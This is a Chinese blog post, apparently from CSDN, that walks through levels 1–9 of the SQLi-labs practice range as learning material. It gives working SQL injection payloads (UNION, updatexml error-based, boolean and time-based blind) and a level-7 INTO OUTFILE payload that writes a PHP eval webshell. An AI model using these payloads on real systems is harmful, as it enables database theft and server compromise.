靶场 SQLi-labs 的 1- 9 关

最新推荐文章于 2024-05-19 17:03:37 发布
最新推荐文章于 2024-05-19 17:03:37 发布
阅读量1k 收藏
点赞数
分类专栏： 网络安全基础 文章标签： 数据库 安全 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46219965/article/details/126599055
版权

系列文章目录

1. SQL注入——基础知识
2. SQL注入
3. 全自动化注入SqlMap
4. 其他注入方法

文章目录

前言

本文用于记录靶场 SQLi-labs 的 1- 9 关

SQL扫描流程

Step1. 是否有回显

?id=1    ~~    ?id=2
通过将传递给url中的 id 加1/ 减1，看两次页面是否一样：如果一样就是没有回显，如果不一样就是有回显。

Step2. 是否有报错（能够判断字符型还是数字型的报错）

?id=1'     ~~~    ?id=1"
如果有报错，直接判断注入类型和闭合方式；如果没有报错，则无法直接判断注入类型，但是仍然可以判断闭合方式。

1. 注入类型的判断

如果报错信息中有数字（我们传入的id）就是字符型，没有数字就是数字型（数字型注入不需要判断闭合方式）；
例如：?id=35’ 的报错信息为 near ‘’’ at line 1 → 没有出现数字35，所以是数字型注入

2. 闭合方式的判断
  • 如果添加 ’ 或者 " 后，依旧能够正常显示，那么说明添加 ’ 或者 " 绝对不是闭合方式。
  • 猜测 除了上一步中已经排除的闭合方式外 的几种有可能的闭合方式：
    • 通过 ?id=1' --+ 看是否可以正常显示，如果可以正常显示，就表示 ’ 就是闭合方式；
    • 反正就是不断猜测，例如 '     ~~~     “     ~~~     ')     ~~~    ”)等。
  • 代码审计 【第7关】

Step3. 是否有布尔类型的状态

?id=1' and 1=1 --+       ~~~~~      ?id=1' and 1=2 --+
如果 1=1 和 1=2 的页面结果一样，就没有布尔类型的状态。

?id=1' and sleep(5) --+
如果页面没有休眠5秒，就是没有布尔类型的状态。
开发者工具–>查看元素–>网络：看页面是否有延迟（定义的是沉睡5秒，但是显示的是6秒，就是有延迟）
【注】除了id+1/-1 判断是否有回显，其他（and 1=1 / and 1=2 / and sleep(5) ）出现任意一个，就断定有注入漏洞。

Step4. 选择注入手法

  • 如果有回显，考虑联合查询 union
  • 如果没有回显，且有报错，考虑报错注入
    • and updatexml(1,concat(0x5e,@@datadir,0x5e),1) --+
    • @@datadir可以替换为任何select语句
  • 如果没有回显，也没有报错，但是有布尔类型状态，考虑布尔盲注
    • 猜测数据库名的长度 ?id=1' and length(database()) = 1 --+
    • 猜测数据库的名字     ~~~     ?id=1' and substr(database(),1,1) = 's' --+
    • 以上可以采用bp半自动化注入：抓包发送到Intruder模块，修改变量，选择字典，进行注入
  • 如果以上情况都没有，考虑延时注入

一、SQLi-labs 第 1 关

Step1. 判断有无回显

?id=1 和 ?id=2 的页面不一样（图片省略）    ~~    →    ~~    有回显

Step2. 判断注入类型和闭合方式

?id=1'    ~~    →    ~~    有报错
    ~~~     注入类型：字符型
    ~~~     闭合方式：单引号 ’ 闭合
在这里插入图片描述
在这里插入图片描述

Step3. 判断有无布尔类型状态

?id=1' and 1=1 --+ 与 ?id=1' and 1=2 --+ 的页面结果不同    ~~    →    ~~    有布尔类型的状态。
在这里插入图片描述
在这里插入图片描述

Step4. 选择注入方式

有回显    ~~    →    ~~    联合查询 ?id=1' and 1=2 union select 1,database(),version() --+

1. 判断列数

在这里插入图片描述
在这里插入图片描述

2. 注入成功

在这里插入图片描述

二、SQLi-labs 第 2 关

Step1. 判断有无回显

?id=1 和 ?id=2 的页面不一样    ~~    →    ~~    有回显
在这里插入图片描述
在这里插入图片描述

Step2. 判断注入类型和闭合方式

?id=1'    ~~    →    ~~    有报错
    ~~~     注入类型：数字型
    ~~~     闭合方式：数字型不需要考虑闭合方式
在这里插入图片描述

Step3. 判断有无布尔类型状态

数字型只需要令 ?id=-1 就可以使得原代码失效，从而执行联合查询。

Step4. 选择注入方式

有回显    ~~    →    ~~    联合查询 ?id=-1 union select 1,database(),version()

1. 判断列数

在这里插入图片描述
在这里插入图片描述

2. 注入成功

## Step5.

三、SQLi-labs 第 3 关

Step1. 判断有无回显

?id=1 和 ?id=2 的页面不一样（图片省略）    ~~    →    ~~    有回显

Step2. 判断注入类型和闭合方式

?id=1'    ~~    →    ~~    有报错
    ~~~     注入类型：字符型
    ~~~     闭合方式： ')
在这里插入图片描述

Step3. 判断有无布尔类型状态

?id=1') and 1=1 --+ 与 ?id=1') and 1=2 --+ 的页面结果不同    ~~    →    ~~    有布尔类型的状态。

Step4. 选择注入方式

有回显    ~~    →    ~~    联合查询 ?id=1') and 1=2 union select 1,database(),version() --+

1. 判断列数

共有3列，其中第二列和第三列可以显示出来。

2. 注入成功

在这里插入图片描述

四、SQLi-labs 第 4 关

Step1. 判断有无回显

?id=1 和 ?id=2 的页面不一样（图片省略）    ~~    →    ~~    有回显

Step2. 判断注入类型和闭合方式

?id=1'    ~~    →    ~~    有报错
    ~~~     注入类型：字符型
    ~~~     闭合方式： ")
在这里插入图片描述
在这里插入图片描述

Step3. 判断有无布尔类型状态

?id=1") and 1=1 --+ 与 ?id=1") and 1=2 --+ 的页面结果不同 （图片省略）    ~~    →    ~~    有布尔类型的状态。

Step4. 选择注入方式

有回显    ~~    →    ~~    联合查询 ?id=1") and 1=2 union select 1,database(),version() --+

1. 判断列数

共有3列，其中第二列和第三列可以显示出来。

2. 注入成功

在这里插入图片描述

五、SQLi-labs 第 5 关

Step1. 判断有无回显

?id=1 和 ?id=2 的页面一样    ~~    →    ~~    没有回显
在这里插入图片描述
在这里插入图片描述

Step2. 判断注入类型和闭合方式

?id=1'    ~~    →    ~~    有报错
    ~~~     注入类型：字符型
    ~~~     闭合方式： ’
在这里插入图片描述

Step3. 判断有无布尔类型状态

没有布尔类型的状态（图片省略）

Step4. 选择注入方式

没有回显 + 有报错    ~~    →    ~~    报错注入

1. 查找MySQL 的数据库文件路径

?id=1' and updatexml(1,concat(0x5e,@@datadir,0x5e),1) --+
【updatexml() 有固定的报错格式：3个参数】
在这里插入图片描述

2. 查询 数据库’security’ 中所有的表名

?id=1' and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5e),1) --+
在这里插入图片描述

3. 查询 数据库 ‘security’ 中所有表的字段名

  • 不使用substr()函数
 ?id=1' and 
 updatexml(1,concat(0x5e,( select  group_concat(column_name) 
 						   from information_schema.columns 
 						   where table_schema='security')
 					,0x5e)
 		  ,1) --+

查询结果如下，只能显示一个^，表示数据太长，没有完全显示出来，所以要用substr()函数进行分割。

	XPATH syntax error:'^id,email_id,id,referer,ip_adrres'
  • 使用substr()函数进行第一次截取
	?id=1' and 
	updatexml(1, concat(0x5e, substr( 
										( select group_concat(column_name) 
										from information_schema.columns 
										where table_schema='security'),
									1,23),
						0x5e),
			1) --+

在这里插入图片描述

  • 使用substr()函数进行第二次截取
?id=1' and 
updatexml(1, concat(0x5e, substr(
									(select  group_concat(column_name) 
									 from information_schema.columns 
									 where table_schema='security'),
								  24,40),
					 0x5e),
			1) --+

在这里插入图片描述

  • 多次截取，最后将每次截取的字符拼接起来就行
    前两次截取的字符串的拼接结果：id,email_id,id,referer,ip_address,id,uagent,ip_addres

六、SQLi-labs 第 6 关

Step1. 判断有无回显

?id=1 和 ?id=2 的页面一样    ~~    →    ~~    没有回显
在这里插入图片描述
在这里插入图片描述

Step2. 判断注入类型和闭合方式

?id=1'    ~~    →    ~~    有报错
    ~~~     注入类型：字符型
    ~~~     闭合方式："
在这里插入图片描述

Step3. 判断有无布尔类型状态

没有布尔类型的状态（图片省略）

Step4. 选择注入方式

没有回显 + 报错    ~~    →    ~~    报错注入
?id=1" and updatexml(1,concat(0x5e,@@datadir,0x5e),1) --+
在这里插入图片描述

七、SQLi-labs 第 7 关

Step1. 判断有无回显

?id=1 和 ?id=2 的页面一样    ~~    →    ~~    没有回显
在这里插入图片描述
在这里插入图片描述

Step2. 判断注入类型和闭合方式

?id=1'    ~~    →    ~~    没有报错（报错是指那种能够判断注入类型和闭合方式的错误信息）
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
代码审计
    ~~~     注入类型：字符型
    ~~~     闭合方式： '))
在这里插入图片描述

Step3. 写入文件

1. 通过 into outfile "路径名" 写入文件

?id=1')) union select 1,"<?php @eval(\$_REQUEST[777]) ?>",3 into outfile "E:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\1.php" --+
【注】此处写入了一句话木马；$ 和 文件路径中的 \ 要转义

在这里插入图片描述

2. 写入成功

在这里插入图片描述

八、SQLi-labs 第 8 关

Step1. 判断有无回显

?id=1 和 ?id=2 的页面一样    ~~    →    ~~    没有回显
在这里插入图片描述
在这里插入图片描述

Step2. 判断注入类型和闭合方式

?id=1'    ~~    →    ~~    没有报错
在这里插入图片描述
    ~~~     注入类型：字符型
    ~~~     闭合方式：’
在这里插入图片描述
在这里插入图片描述

Step3. 判断有无布尔类型状态

?id=1' and 1=1 --+ 与 ?id=1' and 1=2 --+ 的页面结果不同    ~~    →    ~~    有布尔类型的状态
在这里插入图片描述
在这里插入图片描述

Step4. 选择注入方式

没有回显 + 没有报错 + 有布尔类型的状态    ~~    →    ~~    布尔盲注【使用BurpSuite进行半自动化注入】

1. 猜测数据库名的长度

构造普通的注入语句

?id=2' and length(database())=…… 【省略号的地方就是半自动化注入的地方】
在这里插入图片描述

将上面的数据包抓到并发送到Intruder模块

在这里插入图片描述

设置变量

数据包中 length(database())=1，将1设置为变量在这里插入图片描述
在这里插入图片描述

为变量指定字典

在这里插入图片描述

进行半自动化注入

在这里插入图片描述

得到结果

数据库名的长度为8
在这里插入图片描述

2. 猜测数据库名

构造普通的注入语句

?id=2' and substr(database(),1,1)='s' --+
在这里插入图片描述

抓包发送到Intruder模块并指定变量

数据包中 substr(database(),1,1)='s'

  • 第一个变量：截取的开始位置
  • 第二个变量：猜测某个位置是什么字符
    在这里插入图片描述
为变量指定字典
  • 第一个变量：截取的开始位置
  • 字典：1-8（已经得到了数据库名的长度为8）
    在这里插入图片描述
  • 第二个变量：猜测某个位置是什么字符
  • 字典：a-z在这里插入图片描述
进行半自动化注入，得到结果

数据库名为 ‘security’
在这里插入图片描述

九、SQLi-labs 第 9 关

Step1. 判断有无回显

?id=1 和 ?id=2 的页面一样    ~~    →    ~~    没有回显

Step2. 判断注入类型和闭合方式

?id=1'    ~~    ?id=1"    ~~    →    ~~    没有报错
?id=1' and sleep(5) --+    ~~    →    ~~    页面休眠5秒
    ~~~     注入类型：字符型
    ~~~     闭合方式： ’

Step3. 判断有无布尔类型状态

?id=1' and 1=1 --+ 与 ?id=1' and 1=2 --+ 的页面结果相同    ~~    →    ~~    没有布尔类型的状态

Step4. 选择注入方式

没有回显 + 没有报错 + 没有布尔类型状态    ~~    →    ~~    布尔盲注

  • 使用 if() + sleep() 来进行布尔盲注（没有回显不能联合查询）
  • 采用burpSuite半自动化注入

1. 猜测数据库名长度

抓包发送到Intruder模块

?id=1' and if(length(database())=1,sleep(5),1) --+

设置变量

在这里插入图片描述

为变量指定字典

在这里插入图片描述

进行半自动化注入 ，得到结果

在这里插入图片描述

2. 猜测数据库名

抓包发送到Intruder模块

?id=1' and if( ascii( substr(database(),1,1) ) = 90 , sleep(5) , 1) --+

设置变量

在这里插入图片描述

为变量指定字典
  • 第一个变量：截取的开始位置
  • 字典：1-8
    在这里插入图片描述
  • 第二个变量：猜测某个位置是什么字符（用ASCII码表示的）
  • 字典：1-128，步长为1
    在这里插入图片描述
设置线程

在这里插入图片描述

进行半自动化注入 ，得到结果

数据库名中每个字符对应的ASCII码值分别为：114，115，101，99，116，117，121，105
在这里插入图片描述

糯米糍粑咿呀咿呀
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
sqli-labs第九关&第十关(延时盲注)
qq_42266432的博客
08-20 1069
刚开始进入这一关时对这一关进行了常规的注入过程，并未发现有可以利用的地方，然后怎么办呢？去作弊嘛，看了看标题，第九关叫"time based-single quotes"基于时间—单引号，于是乎，就去试了试时间盲注，使用单引号闭合，请求如下： http://localhost:90/sqli-labs-master/Less-9/?id=1' and (select sleep(3))--+ 然后发现这个请求延时了3S 进行到这里，就有了一套完整的思路，时间盲注和之前的布尔盲注思路差不多，布尔盲注靠UI
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
sqli-labs关卡9(基于get提交的单引号闭合的时间盲注)通关思路
zyh1588的博客
10-31 432
小白回顾sqli-labs靶场第九关(时间盲注)
详细sqli-labs（1-65）通关讲解
热门推荐
dreamthe的博客
05-17 12万+
​ 如果刚开始接触sql注入，那么sqli-labs这个靶场会很适合你，里面包含了很多的情景，以及我们在sql注入的时候遇到的阻碍。本章将1-65关重点关卡进行详细讲解。代码基本上很全。如果靶场练习完了可以看我这篇SQL注入总结会更好掌握。​SQL注入非常详细总结_糊涂是福yyyy的博客-CSDN博客_sql注入数据包 ​...
sqli-labs:第九关
J_linnb的博客
05-03 907
【代码】sqli-labs:第九关。
sqli-labs第九关
qq_56726035的博客
04-08 635
sqli-labs第九关
phpstudy+靶场sqli-labs-master下载
11-08
phpstudy+靶场sqli-labs-master下载
sqli-labs-master.zip
03-17
SQL-labs靶场，练习sql注入，适合新手练习漏洞基础，web安全，渗透，漏洞基础，典型漏洞，漏洞原理刨析，搭建在自己虚拟键，带源码，多分析 ，仅供学习
sqli-labs靶场练习笔记
11-09
sqli-labs靶场练习笔记，里面有2关 3关 4关 5关 4关 7关 8关 9关 11关 12关 13关 14关 15关 16关 17关 18关 19关 20关 21关 22关 23关 24关 的练习内容，可以供给初学sql注入的学者参考
sqli-labs靶场
02-12
sqli-labs靶场
sqli-labs闯关指南 1—10
18年3月萌新白帽子
06-18 5万+
如果你是使用的phpstudy，请务必将sql的版本调到5.5以上，因为这样你的数据库内才会有information_schema数据库，方便进行实验测试。另外-- （这里有一个空格，--空格）在SQL内表示注释，但在URL中，如果在最后加上-- ，浏览器在发送请求的时候会把URL末尾的空格舍去，所以我们用--+代替-- ，原因是+在URL被URL编码后会变成空格。第一关1.经过语句and 1=2...
sqli-labs系列第9~10关【延时注入】
学海无涯苦作舟
09-13 544
第九关 单引号型 1.首先用sleep()判断是否存在延时注入 我们可以看到下图中网页确实
sqli-labs靶场第九关
gou1791241251的博客
12-26 1488
传入id=1参数进行查看 传入单引号和双引号进行测试闭合方式 传入单引号时页面没反应，试一下双引号 还是没有反应！！！此时应该反应过来，可能页面没有布尔类型状态，只能尝试一下绝招（绝境才能用的招）延时注入 此时发现确实延迟了十秒页面才能正常响应，延时注入是布尔盲注的一种，如果条件正确就沉睡10秒，秒数可以自己自定义。 以下就不演示怎么获取数据库信息了，参考sqli-labs第六关的盲注，把条件换成沉睡10秒即可。 ...
sqli-labs-master第九关+第十关（时间延迟注入）
m_ing
05-11 1062
前言：时间型的注入遇到的条件更为苛刻，数据交互完成以后目标网站没有错误和正确的页面回显，这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合 这两关需要用到的函数: 函数名称 函数说明 sleep (s) 静止s秒、数字类型，可自定义 if（逻辑表达式，返回值1，返回值2） if判断语句 来到第九关： http://192.168.89.131/sqli-labs-master/Less-9/ 当我们正常的测试语句似乎没有任何效果时。我们根据总结的
mysql事务(原理)
最新发布
m0_74347016的博客
05-19 513
mysql事务原理
生产报表工具PI DataLInk 与 行列视之间的区别
2401_83701843的博客
05-17 245
行列视，全名“行列视生产数据应用系统”，行列视品牌所面对的业务范围远远超越了PIDatalink报表工具，他首先是一款本地部署的在线Excel文档管理系统，解决个人报表在线管理问题，其次，她和PIDataLInk一样，也是面向实时数据库报表需求的一套工具，其区别在于行列视品牌兼容国内外大多数实时数据库，也可以同时连接多个数据源，也就是她完全可以替代PI-DataLINk，同时也适用于其他品牌下的实时数据库系统；
MySQL存储过程添加二十万条数据日常练习
mi_mx的博客
05-17 302
【代码】MySQL日常练习。
MongoDB聚合运算符：$zip
superatom01的博客
05-15 355
摘要：`$zip`用于将输入数组的元素重新组合转换为新的数组，重组转换的的规则是使用输入数组的第一个元素重组为第一个数组，使用第二个元素重组为第二个数组，以此类推。
CentOS8+MySQL8.0.26+Skywalking9.7.0数据清理机制
xiaozhanfeng的博客
05-15 789
#### 代码中定义的额外模型列，这些模型列在聚合或查询时不需要，会加重负载。但激活后，用户可以看到名称，更容易自行查询数据。##### 1级聚合到2级聚合的刷新时间，默认500毫秒。##### TOPN记录报告周期，默认10分钟。##### 执行数据持久化周期，默认25秒。##### 数据清理定时器，默认5分钟。##### 明细记录有效期，默认3天。##### 监测数据有效期，默认7天。##### 会话时间阈值，默认70秒。##### 数据清理开关，默认开启。
SQL注入靶场sqli-labs
12-20
sqli-labs是一个基于SQL注入的游戏教程，它可以帮助用户更好地了解SQL注入的语法和原理。要搭建sqli-labs靶场，您可以按照以下步骤进行操作： 1. 下载sqli-labs项目：您可以从GitHub上的https://github.com/Audi-1/sqli-labs下载sqli-labs项目。 2. 安装Web服务器：您需要在本地或者服务器上安装一个Web服务器，例如Apache或Nginx。 3. 将sqli-labs项目放置在Web服务器的根目录下：将下载的sqli-labs项目解压，并将解压后的文件夹放置在Web服务器的根目录下。 4. 配置数据库：sqli-labs使用MySQL数据库作为后端数据库。您需要创建一个新的数据库，并将数据库的连接信息配置到sqli-labs项目的配置文件中。 5. 导入数据库表结构：在MySQL数据库中，导入sqli-labs项目提供的SQL文件，以创建所需的表结构和数据。 6. 启动Web服务器：启动您的Web服务器，并确保sqli-labs项目可以通过浏览器访问。 7. 访问sqli-labs靶场：在浏览器中输入您的Web服务器地址，加上sqli-labs项目的路径，即可访问sqli-labs靶场。 请注意，搭建sqli-labs靶场需要一定的技术基础和安全意识。在进行任何实验之前，请确保您已经了解了SQL注入的风险，并采取适当的安全措施，以避免对系统造成损害。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值